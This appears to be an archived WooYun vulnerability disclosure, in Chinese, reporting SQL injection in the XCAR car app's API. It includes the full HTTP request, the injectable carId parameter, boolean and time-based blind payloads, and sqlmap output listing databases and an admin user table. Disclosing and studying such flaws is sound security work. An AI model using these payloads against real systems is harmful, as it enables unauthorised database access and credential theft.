当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-043613

漏洞标题:APP终结者2#爱卡汽车App云端SQL注入多库

相关厂商:爱卡汽车网

漏洞作者: zzR

提交时间:2013-11-21 17:22

修复时间:2014-01-05 17:23

公开时间:2014-01-05 17:23

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-11-21: 细节已通知厂商并且等待厂商处理中
2013-11-21: 厂商已经确认,细节仅向厂商公开
2013-12-01: 细节向核心白帽子及相关领域专家公开
2013-12-11: 细节向普通白帽子公开
2013-12-21: 细节向实习白帽子公开
2014-01-05: 细节向公众公开

简要描述:

APP云端安全不闹,来乌云把爱带回家~

详细说明:

APP名称:爱卡汽车
请求如下

POST /auto/index.php?r=service/IphoneApi/GetCarDetailsNewById HTTP/1.1
Host: newcar.xcar.com.cn
Proxy-Connection: keep-alive
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Accept-Language: zh-cn
Accept: */*
Connection: keep-alive
User-Agent: XCAR/4.5.4 CFNetwork/672.0.8 Darwin/14.0.0
carId=12566


carId存在sql注入

Place: POST
Parameter: carId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: carId=12566 AND 2396=2396
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: carId=12566 AND SLEEP(5)
---
[16:49:57] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.11
[16:49:57] [INFO] fetching current user
[16:49:57] [INFO] retrieved:
gcardbmanage@%.xcar.com.cn
current user: 'gcardbmanage@%.xcar.com.cn'
[16:50:44] [INFO] fetching current database
[16:50:44] [INFO] retrieved: gocar
current database: 'gocar'

漏洞证明:

.png


-dbs

available databases [5]:
[*] auto
[*] CrazyDance
[*] ghewp
[*] information_schema
[*] tooor


auto库:

.png


当前库185张表

.png


没有全跑出来
看到了adminuser
Database: gocar
Table: gcar_admin_user
[5 columns]
+--------+-------------+
| Column | Type |
+--------+-------------+
| id | int(4) |
| limits | int(4) |
| pword | varchar(50) |
| state | int(2) |
| uname | varchar(30) |
+--------+-------------+
木有继续深入

修复方案:

来乌云把爱带回家~

版权声明:转载请注明来源 zzR@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2013-11-21 20:52

厂商回复:

感谢@zzR 的提供,我们马上处理!

最新状态:

暂无


漏洞评价:

评论

  1. 2013-11-21 17:45 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    小葵花妈妈课堂开课啦,爱卡汽车app有漏洞怎么办?多半是废了。。